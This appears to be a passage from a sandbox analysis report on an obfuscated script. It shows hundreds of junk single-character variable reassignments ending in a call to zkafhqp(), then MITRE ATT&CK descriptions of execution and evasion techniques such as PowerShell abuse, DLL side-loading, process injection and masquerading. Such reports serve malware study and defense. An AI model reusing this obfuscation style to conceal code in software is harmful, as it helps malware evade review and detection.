434	tbledj = "u";
435	tbledj = "Q";
436	tbledj = "I";
437	tbledj = "k";
438	tbledj = "k";
439	tbledj = "p";
440	tbledj = "J";
441	tbledj = "E";
442	tbledj = "t";
443	tbledj = "b";
444	tbledj = "i";
445	tbledj = "I";
446	tbledj = "L";
447	tbledj = "p";
448	tbledj = "I";
449	tbledj = "u";
450	tbledj = "g";
451	wekln = "f";
452	wekln = "s";
453	wekln = "V";
454	wekln = "t";
455	wekln = "G";
456	wekln = "e";
457	wekln = "N";
458	wekln = "A";
459	wekln = "j";
460	wekln = "V";
461	wekln = "P";
462	wekln = "t";
463	wekln = "N";
464	wekln = "W";
465	wekln = "l";
466	wekln = "t";
467	tucmxpt = "T";
468	tucmxpt = "p";
469	tucmxpt = "m";
470	tucmxpt = "X";
471	tucmxpt = "D";
472	tucmxpt = "H";
473	tucmxpt = "S";
474	tucmxpt = "v";
475	tucmxpt = "P";
476	tucmxpt = "m";
477	tucmxpt = "N";
478	tucmxpt = "j";
479	tucmxpt = "C";
480	tucmxpt = "c";
481	tucmxpt = "L";
482	tucmxpt = "o";
483	tucmxpt = "i";
484	tucmxpt = "n";
485	tucmxpt = "P";
486	tucmxpt = "S";
487	mulvx = "x";
488	mulvx = "P";
489	mulvx = "L";
490	mulvx = "J";
491	mulvx = "h";
492	mulvx = "n";
493	mulvx = "M";
494	mulvx = "o";
495	mulvx = "r";
496	mulvx = "I";
497	mulvx = "U";
498	mulvx = "o";
499	mulvx = "T";
500	mulvx = "U";
501	mulvx = "K";
502	mulvx = "A";
503	mulvx = "N";
504	fzwoetck = "l";
505	czmcujtt = "H";
506	czmcujtt = "c";
507	czmcujtt = "l";
508	czmcujtt = "C";
509	czmcujtt = "F";
510	czmcujtt = "H";
511	czmcujtt = "g";
512	czmcujtt = "C";
513	czmcujtt = "b";
514	czmcujtt = "n";
515	czmcujtt = "k";
516	czmcujtt = "R";
517	czmcujtt = "L";
518	czmcujtt = "A";
519	czmcujtt = "Y";
520	czmcujtt = "m";
521	czmcujtt = "q";
522	czmcujtt = "I";
523	czmcujtt = "E";
524	czmcujtt = "v";
525	czmcujtt = "R";
526	czmcujtt = "u";
527	czmcujtt = "b";
528	czmcujtt = "f";
529	tixdxouom = "f";
530	tixdxouom = "w";
531	tixdxouom = "S";
532	tixdxouom = "F";
533	tixdxouom = "q";
534	tixdxouom = "g";
535	tixdxouom = "P";
536	tixdxouom = "I";
537	tixdxouom = "d";
538	tixdxouom = "o";
539	tixdxouom = "T";
540	tixdxouom = "L";
541	tixdxouom = "k";
542	tixdxouom = "f";
543	tixdxouom = "d";
544	tixdxouom = "Q";
545	tixdxouom = "u";
546	tixdxouom = "I";
547	tixdxouom = "Y";
548	tixdxouom = "k";
549	tixdxouom = "F";
550	tixdxouom = "N";
551	tixdxouom = "Z";
552	tixdxouom = "a";
553	tixdxouom = "X";
554	tixdxouom = "j";
555	tixdxouom = "&";
556	ajekhwwl = "C";
557	ajekhwwl = "H";
558	ajekhwwl = "A";
559	ajekhwwl = "t";
560	ajekhwwl = "N";
561	ajekhwwl = "b";
562	ajekhwwl = "o";
563	ajekhwwl = "z";
564	ajekhwwl = "i";
565	ajekhwwl = "f";
566	ajekhwwl = "o";
567	ajekhwwl = "I";
568	ajekhwwl = "z";
569	ajekhwwl = "e";
570	ajekhwwl = "f";
571	ajekhwwl = "l";
572	ajekhwwl = "F";
573	ajekhwwl = "M";
574	ajekhwwl = "X";
575	ajekhwwl = "r";
576	ajekhwwl = "z";
577	ajekhwwl = "D";
578	ajekhwwl = "o";
579	ajekhwwl = "p";
580	ajekhwwl = "h";
581	ajekhwwl = "R";
582	ajekhwwl = "E";
583	ajekhwwl = "j";
584	ajekhwwl = "z";
585	ajekhwwl = "k";
586	ajekhwwl = "f";
587	ajekhwwl = "M";
588	ajekhwwl = "m";
589	ajekhwwl = "H";
590	ajekhwwl = "D";
591	ajekhwwl = "L";
592	mpjpcsj = "D";
593	mpjpcsj = "V";
594	mpjpcsj = "l";
595	mpjpcsj = "E";
596	mpjpcsj = "Z";
597	mpjpcsj = "m";
598	mpjpcsj = "A";
599	mpjpcsj = "Y";
600	yfzmunr = "L";
601	yfzmunr = "v";
602	yfzmunr = "D";
603	yfzmunr = "i";
604	yfzmunr = "I";
605	yfzmunr = "N";
606	yfzmunr = "a";
607	yfzmunr = "O";
608	yfzmunr = "Q";
609	yfzmunr = "n";
610	yfzmunr = "B";
611	yfzmunr = "z";
612	yfzmunr = "i";
613	yfzmunr = "w";
614	yfzmunr = "r";
615	yfzmunr = "i";
616	yfzmunr = "l";
617	yfzmunr = "g";
618	yfzmunr = "Z";
619	yfzmunr = "P";
620	yfzmunr = "q";
621	yfzmunr = "K";
622	yfzmunr = "V";
623	yfzmunr = "A";
624	yfzmunr = "o";
625	yfzmunr = "J";
626	yfzmunr = "Z";
627	yfzmunr = "j";
628	yfzmunr = "r";
629	yfzmunr = "J";
630	yfzmunr = "t";
631	yfzmunr = "U";
632	yfzmunr = "u";
633	yfzmunr = "C";
634	yfzmunr = "M";
635	yfzmunr = "o";
636	yfzmunr = "C";
637	wraougs = "V";
638	wraougs = "P";
639	wraougs = "s";
640	wraougs = "A";
641	wraougs = "B";
642	wraougs = "M";
643	wraougs = "p";
644	wraougs = "C";
645	wraougs = "L";
646	wraougs = "d";
647	wraougs = "J";
648	wraougs = "u";
649	wraougs = "s";
650	wraougs = "N";
651	wraougs = "f";
652	wraougs = "k";
653	wraougs = "X";
654	wraougs = "x";
655	wraougs = "b";
656	wraougs = "X";
657	wraougs = "O";
658	wraougs = "r";
659	wraougs = "P";
660	wraougs = "D";
661	wraougs = "c";
662	wraougs = "z";
663	wraougs = "L";
664	wraougs = "j";
665	wraougs = "I";
666	wraougs = "n";
667	wraougs = "u";
668	wraougs = "E";
669	wraougs = "G";
670	wraougs = "u";
671	wraougs = "s";
672	wraougs = "o";
673	wraougs = "l";
674	wraougs = "W";
675	wraougs = "E";
676	wraougs = ":";
677	imkvo = "s";
678	imkvo = "g";
679	imkvo = "N";
680	imkvo = "s";
681	imkvo = "X";
682	imkvo = "Z";
683	imkvo = "x";
684	imkvo = "u";
685	imkvo = "a";
686	imkvo = "x";
687	imkvo = "q";
688	imkvo = "M";
689	imkvo = "i";
690	imkvo = "h";
691	imkvo = "X";
692	imkvo = "n";
693	imkvo = "D";
694	imkvo = "A";
695	imkvo = "v";
696	imkvo = "g";
697	imkvo = "I";
698	imkvo = "C";
699	imkvo = "M";
700	imkvo = "F";
701	imkvo = "l";
702	imkvo = "f";
703	imkvo = "N";
704	imkvo = "b";
705	imkvo = "o";
706	imkvo = "R";
707	imkvo = "o";
708	imkvo = "i";
709	imkvo = "D";
710	imkvo = "a";
711	imkvo = "h";
712	imkvo = "u";
713	imkvo = "L";
714	imkvo = "c";
715	imkvo = "E";
716	imkvo = "7";
717	zaxlkw = "G";
718	zaxlkw = "f";
719	zaxlkw = "D";
720	zaxlkw = "v";
721	zaxlkw = "M";
722	zaxlkw = "P";
723	zaxlkw = "f";
724	zaxlkw = "x";
725	zaxlkw = "L";
726	zaxlkw = "e";
727	zaxlkw = "f";
728	zaxlkw = "w";
729	zaxlkw = "i";
730	zaxlkw = "L";
731	zaxlkw = "p";
732	zaxlkw = "z";
733	zaxlkw = "A";
734	zaxlkw = "h";
735	zaxlkw = "t";
736	zaxlkw = "B";
737	zaxlkw = "K";
738	zaxlkw = "O";
739	zaxlkw = "A";
740	zaxlkw = "Z";
741	zaxlkw = "a";
742	zaxlkw = "x";
743	zaxlkw = "e";
744	zaxlkw = "G";
745	zaxlkw = "e";
746	zaxlkw = "v";
747	zaxlkw = "F";
748	qqqxcfe = "x";
749	qqqxcfe = "c";
750	qqqxcfe = "p";
751	qqqxcfe = "g";
752	qqqxcfe = "Z";
753	qqqxcfe = "R";
754	qqqxcfe = "u";
755	qqqxcfe = "n";
756	qqqxcfe = "w";
757	qqqxcfe = "c";
758	qqqxcfe = "Y";
759	qqqxcfe = "w";
760	qqqxcfe = "s";
761	qqqxcfe = "B";
762	qqqxcfe = "f";
763	qqqxcfe = "p";
764	qqqxcfe = "r";
765	qqqxcfe = "B";
766	qqqxcfe = "O";
767	qqqxcfe = "I";
768	qqqxcfe = "V";
769	qqqxcfe = "q";
770	qqqxcfe = "c";
771	qqqxcfe = "j";
772	qqqxcfe = "s";
773	qqqxcfe = "x";
774	qqqxcfe = "y";
775	qqqxcfe = "v";
776	qqqxcfe = "o";
777	qqqxcfe = "I";
778	qqqxcfe = "Q";
779	qqqxcfe = "G";
780	qqqxcfe = "Q";
781	qqqxcfe = "P";
782	fjwnjmwn = "e";
783	fjwnjmwn = "X";
784	fjwnjmwn = "j";
785	fjwnjmwn = "G";
786	fjwnjmwn = "r";
787	fjwnjmwn = "E";
788	fjwnjmwn = "R";
789	fjwnjmwn = "v";
790	fjwnjmwn = "G";
791	fjwnjmwn = "9";
792	kqimjudhx = "y";
793	kqimjudhx = "Q";
794	kqimjudhx = "n";
795	kqimjudhx = "Z";
796	kqimjudhx = "\\";
797	hjvvildc = "e";
798	hjvvildc = "h";
799	hjvvildc = "q";
800	vftmf = "g";
801	vftmf = "r";
802	vftmf = "a";
803	vftmf = "A";
804	vftmf = "h";
805	vftmf = "c";
806	vftmf = "x";
807	vftmf = "P";
808	vftmf = "d";
809	vftmf = "s";
810	vftmf = "m";
811	vftmf = "M";
812	vftmf = "s";
813	vftmf = "A";
814	vftmf = "X";
815	vftmf = "h";
816	vftmf = "D";
817	vftmf = "b";
818	vftmf = "d";
819	vftmf = "x";
820	vftmf = "e";
821	vftmf = "Z";
822	vftmf = "p";
823	hvcwyb = "J";
824	hvcwyb = "Q";
825	hvcwyb = "Y";
826	hvcwyb = "T";
827	hvcwyb = "M";
828	hvcwyb = "t";
829	hvcwyb = "U";
830	hvcwyb = "Q";
831	hvcwyb = "Y";
832	hvcwyb = "E";
833	hvcwyb = "f";
834	hvcwyb = "B";
835	hvcwyb = "T";
836	hvcwyb = "p";
837	hvcwyb = "F";
838	hvcwyb = "s";
839	hvcwyb = "C";
840	hvcwyb = "a";
841	hvcwyb = "g";
842	hvcwyb = "M";
843	hvcwyb = "l";
844	hvcwyb = "W";
845	hvcwyb = "Z";
846	hvcwyb = "q";
847	hvcwyb = "o";
848	hvcwyb = "b";
849	hvcwyb = "E";
850	hvcwyb = "t";
851	hvcwyb = "a";
852	hvcwyb = "m";
853	hvcwyb = "Y";
854	hvcwyb = "w";
855	hvcwyb = "f";
856	hvcwyb = "L";
857	hvcwyb = "T";
858	neyclxt = "U";
859	neyclxt = "u";
860	neyclxt = "g";
861	neyclxt = "W";
862	neyclxt = "F";
863	neyclxt = "v";
864	cuyphq = "q";
865	cuyphq = "F";
866	cuyphq = "o";
867	cuyphq = "W";
868	cuyphq = "b";
869	cuyphq = "l";
870	cuyphq = "B";
871	cuyphq = "F";
872	cuyphq = "v";
873	cuyphq = "P";
874	cuyphq = "t";
875	cuyphq = "D";
876	cuyphq = "i";
877	cuyphq = "q";
878	cuyphq = "b";
879	cuyphq = "k";
880	cuyphq = "x";
881	cuyphq = "Q";
882	cuyphq = "U";
883	cuyphq = "a";
884	cuyphq = "O";
885	cuyphq = "z";
886	cuyphq = "u";
887	cuyphq = "p";
888	cuyphq = "E";
889	cuyphq = "N";
890	cuyphq = "n";
891	cuyphq = "V";
892	cuyphq = "a";
893	cuyphq = "Y";
894	cuyphq = "s";
895	cuyphq = "c";
896	cuyphq = "T";
897	cuyphq = "J";
898	cuyphq = "c";
899	cuyphq = "k";
900	cuyphq = "K";
901	cuyphq = "N";
902	cuyphq = "J";
903	cuyphq = "E";
904	cuyphq = "F";
905	cuyphq = "c";
906	eccec = "c";
907	eccec = "c";
908	eccec = "z";
909	eccec = "m";
910	eccec = "J";
911	eccec = "q";
912	eccec = "Y";
913	eccec = "q";
914	eccec = "H";
915	eccec = "X";
916	eccec = "Q";
917	eccec = "a";
918	eccec = "c";
919	eccec = "k";
920	eccec = "u";
921	eccec = "U";
922	eccec = "d";
923	eccec = "I";
924	eccec = "r";
925	eccec = "l";
926	eccec = "O";
927	eccec = " ";
928	wavtbjz = "U";
929	wavtbjz = "U";
930	wavtbjz = "f";
931	wavtbjz = "K";
932	wavtbjz = "h";
933	wavtbjz = "s";
934	wavtbjz = "B";
935	wavtbjz = "O";
936	wavtbjz = "g";
937	wavtbjz = "O";
938	wavtbjz = "O";
939	wavtbjz = "t";
940	wavtbjz = "T";
941	wavtbjz = "X";
942	wavtbjz = "g";
943	wavtbjz = "w";
944	wavtbjz = "K";
945	wavtbjz = "i";
946	wavtbjz = "J";
947	wavtbjz = "Y";
948	wavtbjz = "f";
949	wavtbjz = "o";
950	wavtbjz = "R";
951	wavtbjz = "J";
952	wavtbjz = "c";
953	wavtbjz = "d";
954	wavtbjz = "z";
955	wavtbjz = "n";
956	wavtbjz = "a";
957	wavtbjz = "q";
958	wavtbjz = "I";
959	wavtbjz = "n";
960	wavtbjz = "e";
961	wavtbjz = "G";
962	wavtbjz = "f";
963	wavtbjz = "Y";
964	wavtbjz = "x";
965	wavtbjz = "I";
966	wavtbjz = "m";
967	wavtbjz = "k";
968	wavtbjz = "_";
969	uvfjdff = "V";
970	uvfjdff = "H";
971	uvfjdff = "8";
972	tzaoozcev = "G";
973	tzaoozcev = "f";
974	tzaoozcev = "f";
975	tzaoozcev = "t";
976	tzaoozcev = "P";
977	tzaoozcev = "h";
978	tzaoozcev = "K";
979	tzaoozcev = "x";
980	tzaoozcev = "G";
981	tzaoozcev = "L";
982	tzaoozcev = "w";
983	tzaoozcev = "P";
984	tzaoozcev = "v";
985	tzaoozcev = "f";
986	tzaoozcev = "o";
987	tzaoozcev = "P";
988	tzaoozcev = "o";
989	tzaoozcev = "R";
990	tzaoozcev = "b";
991	tzaoozcev = "s";
992	zelmaqcxw = "o";
993	zelmaqcxw = "Q";
994	zelmaqcxw = "T";
995	zelmaqcxw = "a";
996	zelmaqcxw = "j";
997	zelmaqcxw = "j";
998	zelmaqcxw = "v";
999	zelmaqcxw = "g";
1000	zelmaqcxw = "G";
1001	zelmaqcxw = "o";
1002	zelmaqcxw = "w";
1003	zelmaqcxw = "h";
1004	zelmaqcxw = "J";
1005	zelmaqcxw = "V";
1006	zelmaqcxw = "Y";
1007	zelmaqcxw = "C";
1008	zelmaqcxw = "f";
1009	zelmaqcxw = "x";
1010	zelmaqcxw = "k";
1011	zelmaqcxw = "L";
1012	zelmaqcxw = "a";
1013	zelmaqcxw = "P";
1014	zelmaqcxw = "P";
1015	zelmaqcxw = "c";
1016	zelmaqcxw = "x";
1017	zelmaqcxw = "s";
1018	zelmaqcxw = "E";
1019	zelmaqcxw = "N";
1020	zelmaqcxw = "l";
1021	zelmaqcxw = "C";
1022	zelmaqcxw = "\"";
1023	cgtkjaky = "k";
1024	cgtkjaky = "m";
1025	cgtkjaky = "E";
1026	cgtkjaky = "C";
1027	cgtkjaky = "S";
1028	cgtkjaky = "i";
1029	cgtkjaky = "h";
1030	cgtkjaky = "J";
1031	cgtkjaky = "g";
1032	cgtkjaky = "r";
1033	cgtkjaky = "P";
1034	cgtkjaky = "U";
1035	cgtkjaky = "J";
1036	cgtkjaky = "C";
1037	cgtkjaky = "Y";
1038	cgtkjaky = "Y";
1039	cgtkjaky = "R";
1040	cgtkjaky = "T";
1041	cgtkjaky = "P";
1042	cgtkjaky = "R";
1043	cgtkjaky = "f";
1044	cgtkjaky = "W";
1045	cgtkjaky = "P";
1046	cgtkjaky = "n";
1047	cgtkjaky = "Q";
1048	cgtkjaky = "K";
1049	cgtkjaky = "u";
1050	edyajf = "y";
1051	edyajf = "k";
1052	edyajf = "U";
1053	edyajf = "B";
1054	edyajf = "h";
1055	edyajf = "k";
1056	edyajf = "g";
1057	edyajf = "d";
1058	cisodr = "D";
1059	cisodr = "j";
1060	cisodr = "b";
1061	cisodr = "y";
1062	cisodr = "W";
1063	cisodr = "w";
1064	cisodr = "H";
1065	cisodr = "i";
1066	cisodr = "o";
1067	cisodr = "Z";
1068	cisodr = "c";
1069	cisodr = "x";
1070	cisodr = "y";
1071	cisodr = "C";
1072	cisodr = "R";
1073	cisodr = "V";
1074	cisodr = "H";
1075	cisodr = "i";
1076	cisodr = "u";
1077	cisodr = "Z";
1078	cisodr = "d";
1079	cisodr = "Z";
1080	cisodr = "s";
1081	cisodr = "Y";
1082	cisodr = "a";
1083	cisodr = "k";
1084	cisodr = "t";
1085	cisodr = "H";
1086	cisodr = "t";
1087	cisodr = "e";
1088	cisodr = "E";
1089	cisodr = "q";
1090	cisodr = "E";
1091	fpacs = "S";
1092	fpacs = "a";
1093	fpacs = "P";
1094	fpacs = "y";
1095	fpacs = "r";
1096	fpacs = "A";
1097	fpacs = "l";
1098	fpacs = "P";
1099	fpacs = "L";
1100	fpacs = "v";
1101	fpacs = "x";
1102	fpacs = "m";
1103	fpacs = "e";
1104	fpacs = "A";
1105	fpacs = "A";
1106	fpacs = "y";
1107	fpacs = "t";
1108	fpacs = "K";
1109	fpacs = "o";
1110	fpacs = "Z";
1111	fpacs = "X";
1112	fpacs = "R";
1113	fpacs = "l";
1114	fpacs = "x";
1115	fpacs = "z";
1116	fpacs = "x";
1117	fpacs = "G";
1118	fpacs = "q";
1119	fpacs = "f";
1120	fpacs = "J";
1121	fpacs = "p";
1122	fpacs = "v";
1123	fpacs = "a";
1124	fpacs = "x";
1125	fpacs = "A";
1126	fpacs = "U";
1127	fpacs = "Q";
1128	fpacs = "Q";
1129	fpacs = "Y";
1130	fpacs = "F";
1131	fpacs = "c";
1132	fpacs = "f";
1133	fpacs = "E";
1134	fpacs = "J";
1135	fpacs = "w";
1136	mkjxxw = "L";
1137	mkjxxw = "T";
1138	mkjxxw = "a";
1139	mkjxxw = "w";
1140	mkjxxw = "A";
1141	mkjxxw = "Q";
1142	mkjxxw = "B";
1143	mkjxxw = "A";
1144	mkjxxw = "Z";
1145	mkjxxw = "Q";
1146	mkjxxw = "i";
1147	mkjxxw = "k";
1148	mkjxxw = "s";
1149	mkjxxw = "I";
1150	mkjxxw = "J";
1151	mkjxxw = "h";
1152	mkjxxw = "N";
1153	mkjxxw = "v";
1154	mkjxxw = "C";
1155	mkjxxw = "l";
1156	mkjxxw = "U";
1157	mkjxxw = "A";
1158	mkjxxw = "W";
1159	mkjxxw = "Q";
1160	mkjxxw = "M";
1161	mkjxxw = "i";
1162	mkjxxw = "j";
1163	mkjxxw = "l";
1164	mkjxxw = "n";
1165	mkjxxw = "X";
1166	mkjxxw = "U";
1167	mkjxxw = "Z";
1168	mkjxxw = "W";
1169	jbtlodmb = "r";
1170	jbtlodmb = "O";
1171	jbtlodmb = "Q";
1172	jbtlodmb = "V";
1173	jbtlodmb = "c";
1174	jbtlodmb = "D";
1175	jbtlodmb = "A";
1176	jbtlodmb = "e";
1177	jbtlodmb = "R";
1178	jbtlodmb = "J";
1179	jbtlodmb = "U";
1180	jbtlodmb = "s";
1181	jbtlodmb = "p";
1182	jbtlodmb = "k";
1183	jbtlodmb = "L";
1184	jbtlodmb = "T";
1185	jbtlodmb = "B";
1186	jbtlodmb = "i";
1187	jbtlodmb = "f";
1188	jbtlodmb = "u";
1189	jbtlodmb = "d";
1190	jbtlodmb = "q";
1191	jbtlodmb = "H";
1192	jbtlodmb = "J";
1193	jbtlodmb = "d";
1194	jbtlodmb = "Q";
1195	jbtlodmb = "R";
1196	jbtlodmb = "j";
1197	jbtlodmb = "U";
1198	jbtlodmb = "3";
1199	qnouzth = "W";
1200	qnouzth = "r";
1201	qnouzth = "i";
1202	qnouzth = "N";
1203	qnouzth = "E";
1204	qnouzth = "x";
1205	qnouzth = "o";
1206	qnouzth = "h";
1207	qnouzth = "Y";
1208	qnouzth = "Z";
1209	qnouzth = "R";
1210	qnouzth = "W";
1211	qnouzth = "T";
1212	qnouzth = "d";
1213	qnouzth = "T";
1214	qnouzth = "p";
1215	qnouzth = "M";
1216	qnouzth = "X";
1217	qnouzth = "G";
1218	qnouzth = "A";
1219	qnouzth = "v";
1220	qnouzth = "b";
1221	qnouzth = "I";
1222	qnouzth = "i";
1223	qnouzth = "v";
1224	qnouzth = "V";
1225	qnouzth = "g";
1226	qnouzth = "T";
1227	qnouzth = "j";
1228	qnouzth = "a";
1229	lbaczowe = "p";
1230	lbaczowe = "U";
1231	lbaczowe = "M";
1232	lbaczowe = "p";
1233	lbaczowe = "E";
1234	lbaczowe = "a";
1235	lbaczowe = "U";
1236	lbaczowe = "M";
1237	lbaczowe = "t";
1238	lbaczowe = "j";
1239	lbaczowe = "i";
1240	lbaczowe = "j";
1241	lbaczowe = "w";
1242	lbaczowe = "X";
1243	lbaczowe = "I";
1244	lbaczowe = "C";
1245	lbaczowe = "R";
1246	lbaczowe = "g";
1247	lbaczowe = "y";
1248	lbaczowe = "H";
1249	lbaczowe = "M";
1250	lbaczowe = "s";
1251	lbaczowe = "g";
1252	lbaczowe = "Y";
1253	lbaczowe = "K";
1254	lbaczowe = "U";
1255	lbaczowe = "V";
1256	lbaczowe = "P";
1257	lbaczowe = "k";
1258	lbaczowe = "h";
1259	lbaczowe = "d";
1260	lbaczowe = "G";
1261	lbaczowe = "r";
1262	lbaczowe = "g";
1263	lbaczowe = "i";
1264	lbaczowe = "L";
1265	lbaczowe = "d";
1266	lbaczowe = "M";
1267	lbaczowe = "T";
1268	lbaczowe = "K";
1269	lbaczowe = "d";
1270	lbaczowe = "l";
1271	lbaczowe = "1";
1272	gnekkdmx = "B";
1273	gnekkdmx = "t";
1274	gnekkdmx = "T";
1275	gnekkdmx = "r";
1276	gnekkdmx = "Q";
1277	gnekkdmx = "h";
1278	gnekkdmx = "c";
1279	gnekkdmx = "m";
1280	gnekkdmx = "W";
1281	gnekkdmx = "E";
1282	gnekkdmx = "T";
1283	gnekkdmx = "C";
1284	gnekkdmx = "e";
1285	gnekkdmx = "l";
1286	gnekkdmx = "d";
1287	gnekkdmx = "R";
1288	wacsgtk = "j";
1289	wacsgtk = "L";
1290	wacsgtk = "s";
1291	wacsgtk = "F";
1292	wacsgtk = "M";
1293	wacsgtk = "u";
1294	wacsgtk = "c";
1295	wacsgtk = "n";
1296	wacsgtk = "P";
1297	wacsgtk = "i";
1298	wacsgtk = "e";
1299	wacsgtk = "R";
1300	wacsgtk = "R";
1301	wacsgtk = "G";
1302	wacsgtk = "E";
1303	wacsgtk = "s";
1304	wacsgtk = "W";
1305	wacsgtk = "C";
1306	wacsgtk = "Y";
1307	wacsgtk = "B";
1308	wacsgtk = "D";
1309	wacsgtk = "o";
1310	wacsgtk = "j";
1311	wacsgtk = "t";
1312	wacsgtk = "T";
1313	wacsgtk = "C";
1314	wacsgtk = "p";
1315	wacsgtk = "l";
1316	wacsgtk = "U";
1317	wacsgtk = "X";
1318	wacsgtk = "r";
1319	wacsgtk = "d";
1320	wacsgtk = ".";
1321	lqoto = "q";
1322	lqoto = "z";
1323	lqoto = "R";
1324	lqoto = "g";
1325	lqoto = "G";
1326	lqoto = "y";
1327	lqoto = "D";
1328	lqoto = "S";
1329	lqoto = "Y";
1330	lqoto = "g";
1331	lqoto = "Q";
1332	lqoto = "P";
1333	lqoto = "Z";
1334	lqoto = "e";
1335	lqoto = "E";
1336	lqoto = "j";
1337	lqoto = "t";
1338	lqoto = "E";
1339	lqoto = "L";
1340	lqoto = "X";
1341	lqoto = "e";
1342	lqoto = "p";
1343	lqoto = "h";
1344	lqoto = "c";
1345	lqoto = "H";
1346	lqoto = "c";
1347	lqoto = "T";
1348	lqoto = "d";
1349	lqoto = "d";
1350	lqoto = "W";
1351	lqoto = "m";
1352	lqoto = "K";
1353	lqoto = "i";
1354	dgdzecvp = "R";
1355	dgdzecvp = "s";
1356	dgdzecvp = "J";
1357	dgdzecvp = "S";
1358	dgdzecvp = "x";
1359	dgdzecvp = "C";
1360	dgdzecvp = "F";
1361	dgdzecvp = "V";
1362	dgdzecvp = "C";
1363	dgdzecvp = "e";
1364	dgdzecvp = "M";
1365	dgdzecvp = "x";
1366	dgdzecvp = "E";
1367	dgdzecvp = "q";
1368	dgdzecvp = "b";
1369	dgdzecvp = "a";
1370	dgdzecvp = "V";
1371	dgdzecvp = "f";
1372	dgdzecvp = "Z";
1373	dgdzecvp = "c";
1374	dgdzecvp = "d";
1375	dgdzecvp = "A";
1376	dgdzecvp = "N";
1377	dgdzecvp = "n";
1378	dgdzecvp = "I";
1379	dgdzecvp = "X";
1380	dgdzecvp = "O";
1381	riqbspetm = "M";
1382	riqbspetm = "K";
1383	riqbspetm = "B";
1384	riqbspetm = "T";
1385	riqbspetm = "A";
1386	riqbspetm = "s";
1387	riqbspetm = "R";
1388	riqbspetm = "M";
1389	riqbspetm = "X";
1390	riqbspetm = "k";
1391	riqbspetm = "C";
1392	riqbspetm = "J";
1393	riqbspetm = "C";
1394	riqbspetm = "w";
1395	riqbspetm = "G";
1396	riqbspetm = "f";
1397	riqbspetm = "f";
1398	riqbspetm = "m";
1399	riqbspetm = "k";
1400	riqbspetm = "w";
1401	riqbspetm = "q";
1402	riqbspetm = "Y";
1403	riqbspetm = "L";
1404	riqbspetm = "P";
1405	riqbspetm = "g";
1406	riqbspetm = "L";
1407	riqbspetm = "k";
1408	riqbspetm = "s";
1409	riqbspetm = "L";
1410	riqbspetm = "B";
1411	riqbspetm = "U";
1412	riqbspetm = "s";
1413	riqbspetm = "H";
1414	riqbspetm = "h";
1415	riqbspetm = "o";
1416	riqbspetm = "M";
1417	riqbspetm = "e";
1418	riqbspetm = "B";
1419	riqbspetm = "b";
1420	riqbspetm = "j";
1421	aydoc = "v";
1422	aydoc = "h";
1423	aydoc = "y";
1424	aydoc = "O";
1425	aydoc = "t";
1426	aydoc = "X";
1427	aydoc = "R";
1428	aydoc = "W";
1429	aydoc = "T";
1430	aydoc = "T";
1431	aydoc = "/";
1432	zkafhqp ( );	zkafhqp() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

